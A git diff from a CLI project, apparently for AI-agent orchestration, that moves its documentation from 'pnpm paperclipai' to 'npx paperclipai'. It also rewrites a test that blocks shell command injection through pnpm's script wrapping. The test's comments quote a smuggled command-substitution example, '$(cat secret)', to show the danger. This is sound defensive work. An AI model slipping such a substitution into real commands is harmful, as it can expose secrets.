- `devUiUrl` in plugin config can point to a local Vite dev server for UI hot-reload.
- The plugin settings page shows real-time logs from the worker for debugging.
diff --git a/docs/adapters/claude-local.md b/docs/adapters/claude-local.md
index a154327f5d..e158877a66 100644
--- a/docs/adapters/claude-local.md
+++ b/docs/adapters/claude-local.md
@@ -102,7 +102,7 @@ therefore shadows any Codex login already present inside the sandbox image.
For manual local CLI usage outside heartbeat runs (for example running as `claudecoder` directly), use:
```sh
-pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
+npx paperclipai agent local-cli claudecoder --company-id <company-id>
```
This installs Paperclip skills in `~/.claude/skills`, creates an agent API key, and prints shell exports to run as that agent.
diff --git a/docs/adapters/codex-local.md b/docs/adapters/codex-local.md
index 526ce11013..683d6b22b9 100644
--- a/docs/adapters/codex-local.md
+++ b/docs/adapters/codex-local.md
@@ -141,7 +141,7 @@ change.
For manual local CLI usage outside heartbeat runs (for example running as `codexcoder` directly), use:
```sh
-pnpm exec paperclipai agent local-cli codexcoder --company-id <company-id>
+npx paperclipai agent local-cli codexcoder --company-id <company-id>
```
This installs any missing skills, creates an agent API key, and prints shell exports to run as that agent.
diff --git a/docs/api/secrets.md b/docs/api/secrets.md
index 2e4a9c017e..5caf15272e 100644
--- a/docs/api/secrets.md
+++ b/docs/api/secrets.md
@@ -114,7 +114,7 @@ credentials must not be stored in Paperclip `company_secrets`.
The equivalent CLI check is:
```sh
-pnpm exec paperclipai secrets doctor --company-id {companyId}
+npx paperclipai secrets doctor --company-id {companyId}
```
## Provider Vaults
@@ -485,7 +485,7 @@ as declarations in the package manifest. Exports omit secret values, secret IDs,
provider references, and encrypted provider material. Use:
```sh
-pnpm exec paperclipai secrets declarations --company-id {companyId}
+npx paperclipai secrets declarations --company-id {companyId}
```
to inspect the declarations that an export would emit before moving a package.
diff --git a/docs/cli/control-plane-commands.md b/docs/cli/control-plane-commands.md
index f2ac4908f0..75f197cc35 100644
--- a/docs/cli/control-plane-commands.md
+++ b/docs/cli/control-plane-commands.md
@@ -9,39 +9,39 @@ Client-side commands for managing issues, agents, approvals, and more.
```sh
# List issues
-pnpm exec paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
+npx paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
# Get issue details
-pnpm exec paperclipai issue get <issue-id-or-identifier>
+npx paperclipai issue get <issue-id-or-identifier>
# Create issue
-pnpm exec paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
+npx paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
# Update issue
-pnpm exec paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
+npx paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
# Add comment
-pnpm exec paperclipai issue comment <issue-id> --body "..." [--reopen]
+npx paperclipai issue comment <issue-id> --body "..." [--reopen]
# Checkout task
-pnpm exec paperclipai issue checkout <issue-id> --agent-id <agent-id>
+npx paperclipai issue checkout <issue-id> --agent-id <agent-id>
# Release task
-pnpm exec paperclipai issue release <issue-id>
+npx paperclipai issue release <issue-id>
```
## Company Commands
```sh
-pnpm exec paperclipai company list
-pnpm exec paperclipai company get <company-id>
-pnpm exec paperclipai company current [--company-id <company-id>]
+npx paperclipai company list
+npx paperclipai company get <company-id>
+npx paperclipai company current [--company-id <company-id>]
# Export to portable folder package (writes manifest + markdown files)
-pnpm exec paperclipai company export <company-id> --out ./exports/acme --include company,agents
+npx paperclipai company export <company-id> --out ./exports/acme --include company,agents
# Preview import (no writes)
-pnpm exec paperclipai company import \
+npx paperclipai company import \
<owner>/<repo>/<path> \
--target existing \
--company-id <company-id> \
@@ -50,7 +50,7 @@ pnpm exec paperclipai company import \
--dry-run
# Apply import
-pnpm exec paperclipai company import \
+npx paperclipai company import \
./exports/acme \
--target new \
--new-company-name "Acme Imported" \
@@ -67,80 +67,80 @@ command.
## Agent Commands
```sh
-pnpm exec paperclipai agent list
-pnpm exec paperclipai agent get <agent-id>
+npx paperclipai agent list
+npx paperclipai agent get <agent-id>
```
## Skills Commands
```sh
# Browse app-shipped catalog skills without changing company state
-pnpm exec paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
-pnpm exec paperclipai skills search "pull request" [--json]
+npx paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
+npx paperclipai skills search "pull request" [--json]
# Inspect catalog metadata and file inventory before install
-pnpm exec paperclipai skills inspect github-pr-workflow
+npx paperclipai skills inspect github-pr-workflow
# Install a catalog skill into the company skill library
# This does not attach the skill to any agent.
-pnpm exec paperclipai skills install github-pr-workflow --company-id <company-id>
-pnpm exec paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
+npx paperclipai skills install github-pr-workflow --company-id <company-id>
+npx paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
# External sources still use import instead of catalog install
-pnpm exec paperclipai skills import ./skills/my-skill --company-id <company-id>
-pnpm exec paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
+npx paperclipai skills import ./skills/my-skill --company-id <company-id>
+npx paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
# Attach desired company skills to an agent after install/import
-pnpm exec paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
+npx paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
```
## Approval Commands
```sh
# List approvals
-pnpm exec paperclipai approval list [--status pending]
+npx paperclipai approval list [--status pending]
# Get approval
-pnpm exec paperclipai approval get <approval-id>
+npx paperclipai approval get <approval-id>
# Create approval
-pnpm exec paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
+npx paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
# Approve
-pnpm exec paperclipai approval approve <approval-id> [--decision-note "..."]
+npx paperclipai approval approve <approval-id> [--decision-note "..."]
# Reject
-pnpm exec paperclipai approval reject <approval-id> [--decision-note "..."]
+npx paperclipai approval reject <approval-id> [--decision-note "..."]
# Request revision
-pnpm exec paperclipai approval request-revision <approval-id> [--decision-note "..."]
+npx paperclipai approval request-revision <approval-id> [--decision-note "..."]
# Resubmit
-pnpm exec paperclipai approval resubmit <approval-id> [--payload '{"..."}']
+npx paperclipai approval resubmit <approval-id> [--payload '{"..."}']
# Comment
-pnpm exec paperclipai approval comment <approval-id> --body "..."
+npx paperclipai approval comment <approval-id> --body "..."
```
## Activity Commands
```sh
-pnpm exec paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
+npx paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
```
## Dashboard
```sh
-pnpm exec paperclipai dashboard get
+npx paperclipai dashboard get
```
## Instance Settings
```sh
-pnpm exec paperclipai instance settings:general
-pnpm exec paperclipai instance settings:general:update --payload-json '{...}'
-pnpm exec paperclipai instance settings:experimental
-pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
+npx paperclipai instance settings:general
+npx paperclipai instance settings:general:update --payload-json '{...}'
+npx paperclipai instance settings:experimental
+npx paperclipai instance settings:experimental:update --payload-json '{...}'
```
Experimental features are opt-in and are provided without compatibility guarantees. They may break, change, or be removed at any time. Use them at your own risk.
@@ -148,5 +148,5 @@ Experimental features are opt-in and are provided without compatibility guarante
## Heartbeat
```sh
-pnpm exec paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
+npx paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
```
diff --git a/docs/cli/overview.md b/docs/cli/overview.md
index e580d5d4ba..3b2d77feae 100644
--- a/docs/cli/overview.md
+++ b/docs/cli/overview.md
@@ -29,7 +29,7 @@ Company-scoped commands also accept `--company-id <id>`.
For clean local instances, pass `--data-dir` on the command you run:
```sh
-pnpm paperclipai run --data-dir ./tmp/paperclip-dev
+npx paperclipai run --data-dir ./tmp/paperclip-dev
```
## Context Profiles
@@ -38,7 +38,7 @@ Store defaults to avoid repeating flags:
```sh
# Set defaults
-pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <id>
+npx paperclipai context set --api-base http://localhost:3100 --company-id <id>
# View current context
pnpm paperclipai context show
@@ -47,24 +47,24 @@ pnpm paperclipai context show
pnpm paperclipai context list
# Switch profile
-pnpm paperclipai context use default
+npx paperclipai context use default
```
To avoid storing secrets in context, use an env var:
```sh
-pnpm exec paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
+npx paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
export PAPERCLIP_API_KEY=...
```
Secret operations are available under `paperclipai secrets`:
```sh
-pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
-pnpm exec paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
-pnpm exec paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
-pnpm exec paperclipai secrets doctor --company-id <company-id>
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
+npx paperclipai secrets declarations --company-id <company-id> --kind secret
+npx paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
+npx paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
+npx paperclipai secrets doctor --company-id <company-id>
+npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
```
Context is stored at `~/.paperclip/context.json`.
diff --git a/docs/cli/setup-commands.md b/docs/cli/setup-commands.md
index bf0dfca636..608bcfd285 100644
--- a/docs/cli/setup-commands.md
+++ b/docs/cli/setup-commands.md
@@ -22,7 +22,7 @@ Does:
Choose a specific instance:
```sh
-pnpm paperclipai run --instance dev
+npx paperclipai run --instance dev
```
## `paperclipai onboard`
@@ -104,7 +104,7 @@ This now includes bind-oriented deployment settings such as `PAPERCLIP_BIND` and
Allow a private hostname for authenticated/private mode:
```sh
-pnpm exec paperclipai allowed-hostname my-tailscale-host
+npx paperclipai allowed-hostname my-tailscale-host
```
## Local Storage Paths
@@ -126,6 +126,6 @@ PAPERCLIP_HOME=/custom/home PAPERCLIP_INSTANCE_ID=dev pnpm paperclipai run
Or pass `--data-dir` directly on any command:
```sh
-pnpm paperclipai run --data-dir ./tmp/paperclip-dev
-pnpm paperclipai doctor --data-dir ./tmp/paperclip-dev
+npx paperclipai run --data-dir ./tmp/paperclip-dev
+npx paperclipai doctor --data-dir ./tmp/paperclip-dev
```
diff --git a/docs/deploy/deployment-modes.md b/docs/deploy/deployment-modes.md
index b346d7f462..292e33743a 100644
--- a/docs/deploy/deployment-modes.md
+++ b/docs/deploy/deployment-modes.md
@@ -42,7 +42,7 @@ pnpm paperclipai onboard
Allow custom Tailscale hostnames:
```sh
-pnpm exec paperclipai allowed-hostname my-machine
+npx paperclipai allowed-hostname my-machine
```
### `authenticated` + `public`
diff --git a/docs/deploy/local-development.md b/docs/deploy/local-development.md
index e8c257601b..65b2cb59e6 100644
--- a/docs/deploy/local-development.md
+++ b/docs/deploy/local-development.md
@@ -64,7 +64,7 @@ pnpm dev --authenticated-private
Allow additional private hostnames:
```sh
-pnpm exec paperclipai allowed-hostname dotta-macbook-pro
+npx paperclipai allowed-hostname dotta-macbook-pro
```
For full setup and troubleshooting, see [Tailscale Private Access](/deploy/tailscale-private-access).
@@ -84,10 +84,10 @@ curl http://localhost:3100/api/companies
For safer parallel local experiments, initialize a dedicated worktree instance instead of reusing your main checkout:
```sh
-pnpm paperclipai worktree:make local-lab --seed-mode minimal
+npx paperclipai worktree:make local-lab --seed-mode minimal
cd ~/paperclip-local-lab
pnpm paperclipai worktree env # inspect generated env exports
-eval "$(pnpm paperclipai worktree env)" # bash/zsh
+eval "$(npx paperclipai worktree env)" # bash/zsh
pnpm paperclipai run
pnpm paperclipai doctor
```
@@ -95,14 +95,15 @@ pnpm paperclipai doctor
If the experiment gets noisy, repair or reseed the worktree without touching the main branch:
```sh
-pnpm paperclipai worktree repair --branch paperclip-local-lab
-pnpm paperclipai worktree reseed --from . --to paperclip-local-lab
+# worktree repair rebuilds the local checkout metadata, so run the checked-out CLI through the direct-exec form.
+node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch paperclip-local-lab
+npx paperclipai worktree reseed --from . --to paperclip-local-lab
```
When done, shut it down and remove the isolated state explicitly:
```sh
-pnpm paperclipai worktree:cleanup local-lab --force
+npx paperclipai worktree:cleanup local-lab --force
```
## Reset Dev Data
diff --git a/docs/deploy/secrets.md b/docs/deploy/secrets.md
index 7fdb3f0c16..c589eacf2c 100644
--- a/docs/deploy/secrets.md
+++ b/docs/deploy/secrets.md
@@ -203,7 +203,7 @@ Validate secrets config:
```sh
pnpm paperclipai doctor
-pnpm exec paperclipai secrets doctor --company-id <company-id>
+npx paperclipai secrets doctor --company-id <company-id>
```
### Environment Overrides
@@ -475,8 +475,8 @@ store.
If you have existing agents with inline API keys in their config, migrate them to encrypted secret refs:
```sh
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id>
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
+npx paperclipai secrets migrate-inline-env --company-id <company-id>
+npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
# low-level script for direct database maintenance
pnpm secrets:migrate-inline-env # dry run
@@ -493,7 +493,7 @@ Company exports include only environment declarations. They do not include
secret IDs, provider references, encrypted material, or plaintext values.
```sh
-pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
+npx paperclipai secrets declarations --company-id <company-id> --kind secret
```
Before importing a package into another instance, use those declarations to
diff --git a/docs/deploy/tailscale-private-access.md b/docs/deploy/tailscale-private-access.md
index 3a86f9f28c..550b72d508 100644
--- a/docs/deploy/tailscale-private-access.md
+++ b/docs/deploy/tailscale-private-access.md
@@ -58,7 +58,7 @@ http://my-macbook.tailnet.ts.net:3100
If you access Paperclip with a custom private hostname, add it to the allowlist:
```sh
-pnpm exec paperclipai allowed-hostname my-macbook.tailnet.ts.net
+npx paperclipai allowed-hostname my-macbook.tailnet.ts.net
```
## 5. Verify the server is reachable
diff --git a/docs/feedback-voting.md b/docs/feedback-voting.md
index 4c3a56c047..b9d40db7ad 100644
--- a/docs/feedback-voting.md
+++ b/docs/feedback-voting.md
@@ -36,7 +36,7 @@ Shows a color-coded summary: vote counts, per-trace details with reasons, and ex
paperclipai feedback report
# Point to a different server or company
-pnpm exec paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
+npx paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
# Include raw payload dumps in the report
pnpm paperclipai feedback report --payloads
@@ -112,7 +112,7 @@ Exports are full by default. `traces/` keeps the Paperclip envelope, while `full
```bash
# Custom server and output directory
-pnpm exec paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
+npx paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
```
### Reading an exported trace
diff --git a/docs/guides/board-operator/experimental-features.md b/docs/guides/board-operator/experimental-features.md
index f6ebcf84fe..a1886e10de 100644
--- a/docs/guides/board-operator/experimental-features.md
+++ b/docs/guides/board-operator/experimental-features.md
@@ -23,7 +23,7 @@ The CLI exposes the same surface:
```sh
pnpm paperclipai instance settings:experimental
-pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
+npx paperclipai instance settings:experimental:update --payload-json '{...}'
```
Those commands change the same opt-in settings that the UI manages.
diff --git a/docs/guides/openclaw-docker-setup.md b/docs/guides/openclaw-docker-setup.md
index c91fb722ba..d3eb170431 100644
--- a/docs/guides/openclaw-docker-setup.md
+++ b/docs/guides/openclaw-docker-setup.md
@@ -82,7 +82,7 @@ PAPERCLIP_COOKIE="your_session_cookie=..." pnpm smoke:openclaw-join
- If Paperclip rejects the container-visible host with a hostname error, allow it from host:
```bash
-pnpm exec paperclipai allowed-hostname host.docker.internal
+npx paperclipai allowed-hostname host.docker.internal
```
Then restart Paperclip and rerun the smoke script.
@@ -90,7 +90,7 @@ Then restart Paperclip and rerun the smoke script.
- Authenticated/private mode: ensure hostnames are in the allowed list when required:
```bash
-pnpm exec paperclipai allowed-hostname <host>
+npx paperclipai allowed-hostname <host>
```
## Prerequisites
diff --git a/packages/plugins/examples/plugin-authoring-smoke-example/README.md b/packages/plugins/examples/plugin-authoring-smoke-example/README.md
index 50099ad4bb..bef60884ac 100644
--- a/packages/plugins/examples/plugin-authoring-smoke-example/README.md
+++ b/packages/plugins/examples/plugin-authoring-smoke-example/README.md
@@ -14,7 +14,7 @@ pnpm test
## Install Into Paperclip
```bash
-pnpm paperclipai plugin install ./
+npx paperclipai plugin install ./
```
## Build Options
diff --git a/packages/plugins/examples/plugin-file-browser-example/README.md b/packages/plugins/examples/plugin-file-browser-example/README.md
index ca02fcf73e..1e0dc883a9 100644
--- a/packages/plugins/examples/plugin-file-browser-example/README.md
+++ b/packages/plugins/examples/plugin-file-browser-example/README.md
@@ -39,13 +39,13 @@ From the repo root, build the plugin and install it by local path:
```bash
pnpm --filter @paperclipai/plugin-file-browser-example build
-pnpm paperclipai plugin install ./packages/plugins/examples/plugin-file-browser-example
+npx paperclipai plugin install ./packages/plugins/examples/plugin-file-browser-example
```
To uninstall:
```bash
-pnpm paperclipai plugin uninstall paperclip-file-browser-example --force
+npx paperclipai plugin uninstall paperclip-file-browser-example --force
```
**Local development notes:**
diff --git a/packages/plugins/examples/plugin-hello-world-example/README.md b/packages/plugins/examples/plugin-hello-world-example/README.md
index 889c9d257d..cf8073b81c 100644
--- a/packages/plugins/examples/plugin-hello-world-example/README.md
+++ b/packages/plugins/examples/plugin-hello-world-example/README.md
@@ -26,7 +26,7 @@ From the repo root, build the plugin and install it by local path:
```bash
pnpm --filter @paperclipai/plugin-hello-world-example build
-pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example
+npx paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example
```
**Local development notes:**
@@ -34,5 +34,5 @@ pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-e
- **Build first.** The host resolves the worker from the manifest `entrypoints.worker` (e.g. `./dist/worker.js`). Run `pnpm build` in the plugin directory before installing so the worker file exists.
- **Dev-only install path.** This local-path install flow assumes a source checkout with this example package present on disk. For deployed installs, publish an npm package instead of relying on the monorepo example path.
- **Reinstall after pulling.** If you installed a plugin by local path before the server stored `package_path`, the plugin may show status **error** (worker not found). Uninstall and install again so the server persists the path and can activate the plugin:
- `pnpm paperclipai plugin uninstall paperclip.hello-world-example --force` then
- `pnpm paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example`.
+ `npx paperclipai plugin uninstall paperclip.hello-world-example --force` then
+ `npx paperclipai plugin install ./packages/plugins/examples/plugin-hello-world-example`.
diff --git a/packages/plugins/examples/plugin-kitchen-sink-example/README.md b/packages/plugins/examples/plugin-kitchen-sink-example/README.md
index bfa4ec5268..208d905cd3 100644
--- a/packages/plugins/examples/plugin-kitchen-sink-example/README.md
+++ b/packages/plugins/examples/plugin-kitchen-sink-example/README.md
@@ -21,7 +21,7 @@ This plugin is for local development, contributor onboarding, and runtime regres
```sh
pnpm --filter @paperclipai/plugin-kitchen-sink-example build
-pnpm paperclipai plugin install ./packages/plugins/examples/plugin-kitchen-sink-example
+npx paperclipai plugin install ./packages/plugins/examples/plugin-kitchen-sink-example
```
Or install it from the Paperclip plugin manager as a bundled example once this repo is built.
diff --git a/packages/plugins/sandbox-providers/kubernetes/SMOKE.md b/packages/plugins/sandbox-providers/kubernetes/SMOKE.md
index 9b23828fc9..1f60b70c1d 100644
--- a/packages/plugins/sandbox-providers/kubernetes/SMOKE.md
+++ b/packages/plugins/sandbox-providers/kubernetes/SMOKE.md
@@ -41,7 +41,7 @@ Wait for `Server listening on 127.0.0.1:3100`.
### 3. Install the plugin via the CLI
```bash
-pnpm paperclipai plugin install \
+npx paperclipai plugin install \
--local /path/to/paperclip/packages/plugins/sandbox-providers/kubernetes \
--api-base http://127.0.0.1:3100
```
diff --git a/server/src/__tests__/cli-invocation-safety.test.ts b/server/src/__tests__/cli-invocation-safety.test.ts
index 0b05feab47..3186fa48d2 100644
--- a/server/src/__tests__/cli-invocation-safety.test.ts
+++ b/server/src/__tests__/cli-invocation-safety.test.ts
@@ -4,19 +4,28 @@ import { fileURLToPath } from "node:url";
import { describe, expect, it } from "vitest";
import { generateReadme } from "../services/company-export-readme.js";
-// The Paperclip CLI is unsafe when an operator or agent runs it through
+// The Paperclip CLI is unsafe when an operator or an agent runs it through
// `pnpm paperclipai <sub> <arg>` with a content-bearing argument. `pnpm` treats
-// `paperclipai` as a `package.json` script and wraps the argument in a
-// double-quoted `/bin/sh` string. The shell then runs command substitution (a
-// backtick pair or `$( )`) and variable expansion (`$NAME`) before the CLI
-// starts. `pnpm exec paperclipai` runs the installed binary directly. It passes
-// the argument as an inert argv value and does not run a shell. The safe form
-// and the unsafe form differ only by the `exec` keyword.
+// `paperclipai` as a `package.json` script. It appends the argument to a
+// double-quoted `/bin/sh` command string, so the shell reads the argument first
+// and runs command substitution (a backtick pair or `$( )`) and variable
+// expansion (`$NAME`) before the CLI starts. `npx paperclipai` runs the CLI
+// binary directly. It passes the argument as an inert argv value and does not
+// run a shell over the value. `npx paperclipai` is the safe form.
//
-// This guard has two parts. First, it asserts that the runtime surfaces which
-// build a CLI instruction from a non-fixed value emit the safe `pnpm exec` form.
-// Second, it scans the guidance surfaces across the repository for any
-// content-bearing `pnpm paperclipai` example that returned to the docs.
+// `pnpm exec paperclipai` is not a safe substitute. The root workspace does not
+// depend on the `paperclipai` package, so `pnpm` never links its binary into
+// `node_modules/.bin`. The command fails with `Command "paperclipai" not found`,
+// even after a build. The guard bans it from the guidance surfaces.
+//
+// This guard is fail-closed against an exact allowlist. A `pnpm paperclipai`
+// line is allowed only when its full command string matches an exact entry in
+// `PNPM_ALLOWLIST`. Each allowlist entry is a fully literal local lifecycle or
+// setup command. A fully literal command carries no substitutable value: no
+// placeholder, no example value the reader replaces, no interpolation, no path,
+// no ref, no id, and no name. It holds the subcommand and, at most, flags that
+// take no value. Every other `pnpm paperclipai` line is an offender and must use
+// `npx paperclipai` (or the direct-exec form for local source).
const here = path.dirname(fileURLToPath(import.meta.url));
const repoRoot = path.resolve(here, "../../..");
@@ -25,82 +34,285 @@ function read(relPath: string): string {
return readFileSync(path.join(repoRoot, relPath), "utf8");
}
-// ── Content-bearing detection ─────────────────────────────────────────────
+// Return the `### Offline and air-gapped use` subsection of `doc/CLI.md`. The
+// subsection runs from its own heading to the next Markdown heading. The scan
+// reads only this text, so a `pnpm` mention in another section does not affect
+// the offline-guidance assertions.
+function extractOfflineSubsection(cli: string): string {
+ const marker = "### Offline and air-gapped use";
+ const start = cli.indexOf(marker);
+ if (start < 0) return "";
+ const rest = cli.slice(start + marker.length);
+ const nextHeading = rest.search(/\n#{1,3} /);
+ return marker + (nextHeading < 0 ? rest : rest.slice(0, nextHeading));
+}
+
+// ── The exact allowlist ───────────────────────────────────────────────────
//
-// A `pnpm paperclipai` line is content-bearing when it carries an argument that
-// an agent or operator can fill from untrusted or semi-trusted content: an
-// issue body, a comment, Markdown, a pasted snippet, model output, a hostname
-// from a request header, an import URL, an identifier, or a secret reference.
-
-// Flags that carry free text, an identifier, a payload, a file, or a secret.
-const CONTENT_FLAGS = [
- "--body",
- "--body-file",
- "--title",
- "--comment",
- "--message",
- "--description",
- "--reason",
- "--goal",
- "--alt",
- "--color",
- "--content",
- "--content-file",
- "--summary",
- "--note",
- "--text",
- "--name",
- "--slug",
- "--payload",
- "--payload-json",
- "--env-json",
- "--company-id",
- "--agent-id",
- "--claim-secret",
- "--api-key-env-var-name",
- "--out",
- "--file",
-];
-
-// Subcommands whose value is a hostname or an import source. A request header or
-// an external URL can supply that value, so it is never fixed.
-const CONTENT_SUBCOMMANDS = ["allowed-hostname", "company import"];
-
-// Placeholders that name an untrusted value type. A bare local placeholder such
-// as `<name>` or `<plugin-id>` on a local lifecycle command is not listed here.
-const UNTRUSTED_PLACEHOLDERS = [
- "<token>",
- "<secret>",
- "<request-id>",
- "this-github-url-or-folder",
-];
-
-// A note or warning line names the unsafe form on purpose. Skip it so the
-// security note itself does not trip the scan.
-function isNoteLine(line: string): boolean {
- const lower = line.toLowerCase();
- return (
- line.includes("pnpm exec paperclipai") ||
- line.includes("npx paperclipai") ||
- lower.includes("do not use") ||
- lower.includes("acceptable only")
- );
+// Each entry is a fully literal command string. A `pnpm paperclipai` line is
+// allowed only when its extracted command string equals one of these entries.
+// Add a new entry only for a command that carries no substitutable value.
+
+const PNPM_ALLOWLIST = new Set<string>([
+ "pnpm paperclipai --help",
+ "pnpm paperclipai run",
+ "pnpm paperclipai onboard",
+ "pnpm paperclipai onboard --yes",
+ "pnpm paperclipai onboard --run",
+ "pnpm paperclipai onboard --yes --run",
+ "pnpm paperclipai doctor",
+ "pnpm paperclipai doctor --repair",
+ "pnpm paperclipai auth bootstrap-ceo",
+ "pnpm paperclipai connect",
+ "pnpm paperclipai migrate",
+ "pnpm paperclipai db:backup",
+ "pnpm paperclipai configure --section server",
+ "pnpm paperclipai configure --section secrets",
+ "pnpm paperclipai configure --section storage",
+ "pnpm paperclipai configure --section database",
+ "pnpm paperclipai env",
+ "pnpm paperclipai env-lab up",
+ "pnpm paperclipai env-lab doctor",
+ "pnpm paperclipai env-lab status --json",
+ "pnpm paperclipai env-lab down",
+ "pnpm paperclipai context show",
+ "pnpm paperclipai context list",
+ "pnpm paperclipai issue list",
+ "pnpm paperclipai dashboard get",
+ "pnpm paperclipai plugin list",
+ "pnpm paperclipai feedback report",
+ "pnpm paperclipai feedback report --payloads",
+ "pnpm paperclipai feedback export",
+ "pnpm paperclipai instance settings:experimental",
+ "pnpm paperclipai worktree ensure-seeded",
+ "pnpm paperclipai worktree repair",
+ "pnpm paperclipai worktree env",
+ "pnpm paperclipai worktree env --json",
+]);
+
+// ── Documentation phrases ─────────────────────────────────────────────────
+//
+// A policy or warning sentence names `pnpm paperclipai` on purpose to tell the
+// reader not to use it, or to describe the abstract command form. These phrases
+// are not runnable commands, so they are exempt. The set is narrow and exact: a
+// mixed safe/unsafe example does not match, because its command string carries a
+// real subcommand and arguments.
+
+const DOC_PHRASES = new Set<string>([
+ // A bare mention such as `` `pnpm paperclipai` `` inside prose.
+ "pnpm paperclipai",
+ // The abstract command form the policy section discusses.
+ "pnpm paperclipai <command> <args>",
+]);
+
+// ── Command extraction ────────────────────────────────────────────────────
+//
+// Extract the full logical command that a reader runs from a `pnpm paperclipai`
+// occurrence. The guard compares the whole runnable command against the
+// allowlist, never a prefix. A quote, a backtick, or a parenthesis is a shell
+// metacharacter, not a safe extraction boundary. The guard must not truncate
+// the command at one of them and then match the shorter prefix. If it did, a
+// line such as `pnpm paperclipai run "$(cat secret)"` would truncate to the
+// allowlisted `pnpm paperclipai run` and pass, while the copied command still
+// runs the shell substitution.
+//
+// The guard trusts a string span only inside a proven literal context. The
+// context depends on the file type, so the guard reads the scanned file path
+// (`relPath`). A quote means a different thing in each language, so the guard
+// must not trust the same span shape everywhere.
+// - Shell (`.sh`): never trust a quote or a backtick span. A shell concatenates
+// a quoted string with the text next to it, so a close quote is not a safe
+// boundary. The guard extracts to the logical line end and lets the allowlist
+// reject any tail that is not a proven terminator.
+// - Markdown (`.md`, `.mdx`): trust a backtick inline-code span only. A backtick
+// opens a real literal span. A double quote in Markdown is plain prose, not a
+// literal delimiter, so the guard does not trust a double-quote span.
+// - Source (`.ts`, `.tsx`, `.js`, `.jsx`): trust a quote span only when it is
+// the complete value of a `command:` property. The guard proves this shape by
+// two facts. First, a `command` key and a colon sit directly before the open
+// delimiter. Second, a source-string terminator (one of `,` `;` `)` `]` `}`,
+// after optional whitespace) follows the close delimiter. A bare comma is not
+// enough. An array element or a call argument also ends at a comma, and a
+// later `join` or a call concatenates it with an untrusted tail. The shape
+// `["pnpm paperclipai run", tail].join("")` extracts the allowlisted prefix
+// but the runtime value carries the tail. The guard trusts only the direct
+// `command:` property, so it fails closed on every other comma-terminated span.
+// - Any other file type: never trust a span, and fail closed.
+//
+// The guard trusts a span only when its opener is adjacent to the marker: the
+// delimiter, then optional whitespace or a `$ ` shell prompt, then `pnpm`. When
+// the guard trusts the span, the next matching delimiter closes it, and the
+// command is the text from the marker to that close.
+//
+// Outside a proven literal context the guard fails closed. It extracts the
+// command to the logical line end, or to a ` #` comment. A backtick, a quote, or
+// a parenthesis here is a shell metacharacter, so it stays in the extracted
+// command. The command then fails the allowlist match and the guard reports it.
+// This is the key rule: a quote or a backtick that follows the command is never
+// a truncation boundary, so a line such as `pnpm paperclipai run "$(cat secret)"`
+// keeps its dangerous suffix and the guard rejects it.
+//
+// The guard never infers a safe enclosing span from an arbitrary unmatched
+// delimiter earlier on the line. An earlier `"` or backtick that is not adjacent
+// to the marker is ambiguous context, so the guard fails closed. An escaped
+// delimiter (`\"` or an escaped backtick) is literal text, so it never opens or
+// closes a span.
+//
+// The scan collapses internal whitespace, so a backslash-continued command
+// compares as one normalized string.
+
+function normalizeCommand(raw: string): string {
+ return raw.replace(/\s+/g, " ").trim();
}
-function isContentBearing(line: string): boolean {
- const commandStart = line.indexOf("pnpm paperclipai");
- if (commandStart < 0) return false;
- if (isNoteLine(line)) return false;
- // Inspect only the command tail. Wrapping code before the command, such as a
- // `${pc.dim(...)}` template call in TypeScript, is not part of the argument.
- const command = line.slice(commandStart);
- if (command.includes("${")) return true;
- if (command.includes("url-or-folder>") || command.toLowerCase().includes("<url")) return true;
- if (UNTRUSTED_PLACEHOLDERS.some((token) => command.includes(token))) return true;
- if (CONTENT_SUBCOMMANDS.some((sub) => command.includes(sub))) return true;
